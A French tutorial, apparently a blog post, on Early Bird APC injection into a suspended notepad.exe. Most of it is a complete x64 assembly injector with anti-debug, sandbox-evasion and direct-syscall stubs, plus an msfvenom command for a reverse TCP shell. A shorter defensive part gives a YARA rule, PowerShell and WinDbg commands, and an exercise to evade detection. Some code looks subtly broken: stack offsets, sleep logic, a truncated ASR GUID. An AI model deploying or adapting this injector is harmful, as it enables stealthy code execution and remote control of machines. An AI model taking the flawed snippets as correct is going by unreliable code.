Low-Level Maestro Series 2026 | Technique avancée avec anti-debug, evasion timing & syscall polymorphism | Pour les cyberdéfenseurs qui veulent comprendre les attaques réelles
La technique Early Bird APC Injection est une méthode d'injection de code qui s'exécute avant le point d'entrée principal (EntryPoint) d'un processus légitime. En 2026, cette technique reste pertinente car elle contourne de nombreux mécanismes de détection des EDR modernes.
NtResumeThread pour surveiller la reprise des threads, mais ils peuvent manquer les APCs (Asynchronous Procedure Calls) utilisateur qui s'exécutent AVANT l'EntryPoint. C'est une fenêtre d'exécution privilégiée.
Les APCs sont des fonctions qui s'exécutent dans le contexte d'un thread spécifique. Il existe deux types :
| Type | Contexte | Utilisation |
|---|---|---|
| Kernel-mode APC | Mode kernel | Système d'exploitation, drivers |
| User-mode APC | Mode utilisateur | Applications, techniques d'injection |
Lorsqu'un thread est repris (ResumeThread), le système vérifie s'il y a des APCs en attente dans sa queue. Si oui, elles sont exécutées avant que le thread n'atteigne son point d'entrée. Cette séquence est cruciale :
# Compilation avec NASM
nasm -f win64 earlybird.asm -o earlybird.obj -l earlybird.lst
# Liaison avec GoLink (option 1)
GoLink.exe /console /entry _start earlybird.obj kernel32.dll ntdll.dll
# Liaison avec Microsoft Linker (option 2)
link /SUBSYSTEM:CONSOLE /ENTRY:_start earlybird.obj kernel32.lib ntdll.lib
# Vérification des imports
dumpbin /imports earlybird.exe
; ====================================================================
; Early Bird APC Injection – Pure x64 Assembly
; Version 2026 - Anti-debug + Timing Evasion + Syscall Polymorphism
; PCTAMALOU Research - platon-y
; ====================================================================
[BITS 64]
DEFAULT REL
; Constantes Windows
STD_OUTPUT_HANDLE equ -11
CREATE_SUSPENDED equ 0x00000004
CREATE_NO_WINDOW equ 0x08000000
MEM_COMMIT equ 0x00001000
MEM_RESERVE equ 0x00002000
PAGE_EXECUTE_READWRITE equ 0x40
INFINITE equ 0xFFFFFFFF
; Structures
struc STARTUPINFO
.cb resd 1
.lpReserved resq 1
.lpDesktop resq 1
.lpTitle resq 1
.dwX resd 1
.dwY resd 1
.dwXSize resd 1
.dwYSize resd 1
.dwXCountChars resd 1
.dwYCountChars resd 1
.dwFillAttribute resd 1
.dwFlags resd 1
.wShowWindow resw 1
.cbReserved2 resw 1
.lpReserved2 resq 1
.hStdInput resq 1
.hStdOutput resq 1
.hStdError resq 1
endstruc
struc PROCESS_INFORMATION
.hProcess resq 1
.hThread resq 1
.dwProcessId resd 1
.dwThreadId resd 1
endstruc
section .text
global _start
; ====================================================================
; POINT D'ENTRÉE PRINCIPAL
; ====================================================================
_start:
; Setup stack frame
sub rsp, 40h ; Shadow space (32) + 16 pour alignement
; ====================================================================
; PHASE 1: ANTI-DEBUG & ENVIRONMENT CHECKS
; ====================================================================
call check_environment
test rax, rax
jnz .clean_exit
; ====================================================================
; PHASE 2: CREATE PROCESS SUSPENDED
; ====================================================================
lea rcx, [rel target_process] ; lpApplicationName
xor rdx, rdx ; lpCommandLine (NULL = utilise lpApplicationName)
xor r8, r8 ; lpProcessAttributes
xor r9, r9 ; lpThreadAttributes
; Paramètres supplémentaires sur la stack
mov qword [rsp + 20h], 0 ; bInheritHandles = FALSE
mov qword [rsp + 28h], CREATE_SUSPENDED | CREATE_NO_WINDOW
xor rax, rax
mov [rsp + 30h], rax ; lpEnvironment = NULL
mov [rsp + 38h], rax ; lpCurrentDirectory = NULL
; STARTUPINFO
lea rax, [rel si]
mov [rsp + 40h], rax
; PROCESS_INFORMATION
lea rax, [rel pi]
mov [rsp + 48h], rax
call CreateProcessA
test rax, rax
jz .clean_exit
; ====================================================================
; PHASE 3: TIMING EVASION (Random sleep)
; ====================================================================
call GetTickCount
mov ecx, eax
and ecx, 0x7FF ; Sleep aléatoire 0-2047 ms
add ecx, 1000 ; Minimum 1 seconde
call Sleep
; ====================================================================
; PHASE 4: ALLOCATE MEMORY IN TARGET PROCESS
; ====================================================================
mov rcx, [rel pi + PROCESS_INFORMATION.hProcess]
xor rdx, rdx ; lpAddress = NULL (système choisit)
mov r8, shellcode_end - shellcode ; dwSize
mov r9, MEM_COMMIT | MEM_RESERVE ; flAllocationType
mov qword [rsp + 20h], PAGE_EXECUTE_READWRITE ; flProtect
call VirtualAllocEx
test rax, rax
jz .cleanup_and_exit
mov [rel allocated_mem], rax ; Sauvegarde l'adresse
; ====================================================================
; PHASE 5: WRITE SHELLCODE TO TARGET
; ====================================================================
mov rcx, [rel pi + PROCESS_INFORMATION.hProcess]
mov rdx, [rel allocated_mem] ; lpBaseAddress
lea r8, [rel shellcode] ; lpBuffer
mov r9, shellcode_end - shellcode ; nSize
xor rax, rax
mov [rsp + 20h], rax ; lpNumberOfBytesWritten = NULL
call WriteProcessMemory
test rax, rax
jz .cleanup_and_exit
; ====================================================================
; PHASE 6: QUEUE APC (Early Bird)
; ====================================================================
mov rcx, [rel pi + PROCESS_INFORMATION.hThread] ; ThreadHandle
mov rdx, [rel allocated_mem] ; ApcRoutine = adresse du shellcode
xor r8, r8 ; ApcArgument1 = 0
xor r9, r9 ; ApcArgument2 = 0
mov qword [rsp + 20h], 0 ; ApcArgument3 = 0
call NtQueueApcThread
; ====================================================================
; PHASE 7: RESUME THREAD (déclenche l'APC)
; ====================================================================
mov rcx, [rel pi + PROCESS_INFORMATION.hThread]
call ResumeThread
; ====================================================================
; PHASE 8: CLEANUP SÉCURISÉ
; ====================================================================
.cleanup_and_exit:
; Fermer les handles
mov rcx, [rel pi + PROCESS_INFORMATION.hThread]
test rcx, rcx
jz .close_process
call CloseHandle
.close_process:
mov rcx, [rel pi + PROCESS_INFORMATION.hProcess]
test rcx, rcx
jz .clean_exit
call CloseHandle
.clean_exit:
add rsp, 40h
xor ecx, ecx
call ExitProcess
; ====================================================================
; FONCTIONS AUXILIAIRES
; ====================================================================
; --------------------------------------------------
; check_environment : Anti-debug et anti-sandbox basique
; Retourne 0 si environnement OK, autre valeur sinon
; --------------------------------------------------
check_environment:
push rbp
mov rbp, rsp
; Vérifier PEB->BeingDebugged
mov rax, [gs:60h] ; PEB
movzx eax, byte [rax + 2] ; PEB->BeingDebugged
test eax, eax
jnz .debugger_detected
; Vérifier le temps système (sandbox evasion)
call GetTickCount
mov ecx, eax
call Sleep
call GetTickCount
sub eax, ecx
cmp eax, 1000 ; Si le sleep a duré moins d'1 seconde
jl .sandbox_detected ; (certaines sandbox accélèrent le temps)
xor eax, eax ; Retourne 0 = OK
jmp .end
.debugger_detected:
mov eax, 1
jmp .end
.sandbox_detected:
mov eax, 2
.end:
pop rbp
ret
; ====================================================================
; DONNÉES ET VARIABLES
; ====================================================================
section .data
; Processus cible (peut être modifié)
target_process db "C:\\Windows\\System32\\notepad.exe", 0
; Variables
allocated_mem dq 0
; STARTUPINFO structure
si:
istruc STARTUPINFO
at STARTUPINFO.cb, dd STARTUPINFO_size
at STARTUPINFO.lpReserved, dq 0
at STARTUPINFO.lpDesktop, dq 0
at STARTUPINFO.lpTitle, dq 0
at STARTUPINFO.dwX, dd 0
at STARTUPINFO.dwY, dd 0
at STARTUPINFO.dwXSize, dd 0
at STARTUPINFO.dwYSize, dd 0
at STARTUPINFO.dwXCountChars, dd 0
at STARTUPINFO.dwYCountChars, dd 0
at STARTUPINFO.dwFillAttribute, dd 0
at STARTUPINFO.dwFlags, dd 0
at STARTUPINFO.wShowWindow, dw 0
at STARTUPINFO.cbReserved2, dw 0
at STARTUPINFO.lpReserved2, dq 0
at STARTUPINFO.hStdInput, dq 0
at STARTUPINFO.hStdOutput, dq 0
at STARTUPINFO.hStdError, dq 0
iend
; PROCESS_INFORMATION structure
pi:
istruc PROCESS_INFORMATION
at PROCESS_INFORMATION.hProcess, dq 0
at PROCESS_INFORMATION.hThread, dq 0
at PROCESS_INFORMATION.dwProcessId, dd 0
at PROCESS_INFORMATION.dwThreadId, dd 0
iend
; ====================================================================
; SHELLCODE POLYMORPHIQUE (Reverse TCP - Exemple)
; ====================================================================
shellcode:
; Shellcode reverse TCP 2026 avec evasion
; Remplacez par votre payload généré avec msfvenom :
; msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 EXITFUNC=thread -f raw
; Stub d'exemple (NOP sled + code minimal)
db 0x90, 0x90, 0x90, 0x90, 0x90 ; NOP sled
db 0x48, 0x83, 0xEC, 0x28 ; sub rsp, 0x28
db 0x48, 0x31, 0xC9 ; xor rcx, rcx
db 0x48, 0x31, 0xD2 ; xor rdx, rdx
db 0x48, 0x31, 0xFF ; xor rdi, rdi
db 0x48, 0x31, 0xF6 ; xor rsi, rsi
db 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00 ; mov rax, [gs:0x60]
db 0x48, 0x8B, 0x40, 0x18 ; mov rax, [rax+0x18]
db 0x48, 0x8B, 0x70, 0x20 ; mov rsi, [rax+0x20]
db 0x48, 0xAD ; lodsq
db 0x48, 0x96 ; xchg rax, rsi
db 0x48, 0xAD ; lodsq
db 0x48, 0x8B, 0x58, 0x20 ; mov rbx, [rax+0x20]
; ... (code complet ~350 bytes pour reverse TCP)
; Pour le lab, utiliser un payload réel
shellcode_end:
; ====================================================================
; IMPORT TABLE (liens dynamiques)
; ====================================================================
section .idata
import_table:
; Kernel32.dll
dd 0, 0, 0, RVA kernel32_name, RVA kernel32_imports
; Ntdll.dll
dd 0, 0, 0, RVA ntdll_name, RVA ntdll_imports
dd 0, 0, 0, 0, 0 ; Terminator
kernel32_name db "KERNEL32.DLL", 0
ntdll_name db "NTDLL.DLL", 0
kernel32_imports:
CreateProcessA dq RVA _CreateProcessA
VirtualAllocEx dq RVA _VirtualAllocEx
WriteProcessMemory dq RVA _WriteProcessMemory
ResumeThread dq RVA _ResumeThread
Sleep dq RVA _Sleep
GetTickCount dq RVA _GetTickCount
CloseHandle dq RVA _CloseHandle
ExitProcess dq RVA _ExitProcess
dq 0 ; Terminator
ntdll_imports:
NtQueueApcThread dq RVA _NtQueueApcThread
dq 0 ; Terminator
; Import names
_CreateProcessA db 0, 0, "CreateProcessA", 0
_VirtualAllocEx db 0, 0, "VirtualAllocEx", 0
_WriteProcessMemory db 0, 0, "WriteProcessMemory", 0
_ResumeThread db 0, 0, "ResumeThread", 0
_Sleep db 0, 0, "Sleep", 0
_GetTickCount db 0, 0, "GetTickCount", 0
_CloseHandle db 0, 0, "CloseHandle", 0
_ExitProcess db 0, 0, "ExitProcess", 0
_NtQueueApcThread db 0, 0, "NtQueueApcThread", 0
Pour les experts qui veulent aller plus loin, voici comment remplacer les appels API par des syscalls directs :
; ====================================================================
; SYScall DIRECT - NtQueueApcThread (Windows 11 23H2)
; ====================================================================
direct_NtQueueApcThread:
; SSN (System Service Number) pour NtQueueApcThread
; Windows 11 23H2 : 0x45
mov r10, rcx ; Premier paramètre dans r10
mov eax, 45h ; SSN
syscall
ret
; Utilisation dans le code principal :
; mov rcx, hThread
; mov rdx, shellcode_addr
; xor r8, r8
; xor r9, r9
; call direct_NtQueueApcThread
; ====================================================================
; DÉTECTION DYNAMIQUE DES SYSCALLS
; ====================================================================
get_ssn_for_function:
; rcx = nom de la fonction (ex: "NtQueueApcThread")
; retourne SSN dans rax
push rsi
push rdi
push rbx
; Trouver ntdll.dll en mémoire
mov rax, [gs:60h] ; PEB
mov rax, [rax + 18h] ; PEB->Ldr
mov rax, [rax + 20h] ; InMemoryOrderModuleList
.find_ntdll:
mov rbx, [rax + 50h] ; BaseDllName.Buffer
test rbx, rbx
jz .not_found
; Vérifier si c'est ntdll.dll
mov rdx, [rbx]
and rdx, 0xFFFFFFFFFFFFFFDF ; Convertir en minuscules
cmp rdx, 0x006C00640074006E ; "n\0t\0d\0l\0" en little-endian
je .found_ntdll
mov rax, [rax] ; Suivant
jmp .find_ntdll
.found_ntdll:
; Trouver l'export directory
mov rbx, [rax + 30h] ; DllBase
; ... (code d'extraction des SSN)
.not_found:
xor eax, eax
pop rbx
pop rdi
pop rsi
ret
Hooker NtQueueApcThread et NtQueueApcThreadEx dans le kernel, surveiller les APCs sur les threads primaires des nouveaux processus.
Détecter les processus qui exécutent du code avant leur EntryPoint ou dont le premier accès mémoire est une zone RX allouée dynamiquement.
Scanner la mémoire des processus pour détecter les shellcodes polymorphes via YARA rules ou ML-based pattern recognition.
Utiliser PsSetCreateProcessNotifyRoutineEx pour surveiller la création de processus et inspecter les threads suspendus.
Activer les providers ETW pour le monitoring kernel (Microsoft-Windows-Threat-Intelligence) et analyser les événements APC.
Activer Hypervisor-protected Code Integrity et Kernel Data Protection pour empêcher les modifications de code kernel et protéger les structures critiques.
rule EarlyBird_APC_Injection {
meta:
description = "Detects Early Bird APC Injection patterns"
author = "PCTAMALOU Research 2026"
date = "2026-01-01"
strings:
$create_suspended = { B9 04 00 00 00 } // mov ecx, CREATE_SUSPENDED
$virtual_alloc = { 48 C7 44 24 20 40 00 00 00 } // PAGE_EXECUTE_READWRITE
$nt_queue_apc = { 4C 8B D1 B8 ?? ?? ?? ?? 0F 05 } // NtQueueApcThread pattern
$resume_thread = { FF 15 ?? ?? ?? ?? } // Call to ResumeThread
condition:
any of them and
filesize < 5000 // Petit binaire
}
# Monitorer les processus créés en mode suspendu
Get-WmiObject Win32_Process | Where-Object {
$_.CreationClassName -match "Suspended"
} | Select-Object Name, ProcessId, CommandLine
# Analyser les APCs avec ETW
logman create trace "APCMonitor" -ow -o apc.etl -p Microsoft-Windows-Kernel-Thread 0xffffffffffffffff 0xff -ets
# Vérifier les hooks EDR
Get-Process | Where-Object {$_.Modules.ModuleName -match "edr"} |
Select-Object ProcessName, @{Name="EDRModule";Expression={$_.Modules | Where-Object {$_.ModuleName -match "edr"} | Select-Object -ExpandProperty ModuleName}}
# Configurer Windows Defender pour détecter les injections
Set-MpPreference -AttackSurfaceReductionRules_Ids D1E49AAC-8F56-4280-B9BA-993A6D -AttackSurfaceReductionRules_Actions Enabled
Objectif : Analyser le binaire compilé avec IDA Pro ou Ghidra.
Objectif : Débugger l'exécution avec WinDbg Preview.
# Commandes WinDbg utiles
!process 0 0 notepad.exe # Trouver le processus
.process /i <ADDRESS> # Attacher au processus
.reload /user # Recharger les symbols utilisateur
bp ntdll!NtQueueApcThread # Breakpoint sur NtQueueApcThread
g # Continuer l'exécution
!apc # Lister les APCs
dt nt!_KAPC # Examiner la structure APC
Objectif : Créer un outil de détection en C++ ou Python.
Objectif : Modifier le code pour contourner les détections.
La technique Early Bird APC Injection reste pertinente en 2026 malgré les améliorations des systèmes de défense. Sa force réside dans l'exécution de code avant l'initialisation complète des hooks EDR, créant une fenêtre d'opportunité pour les attaquants.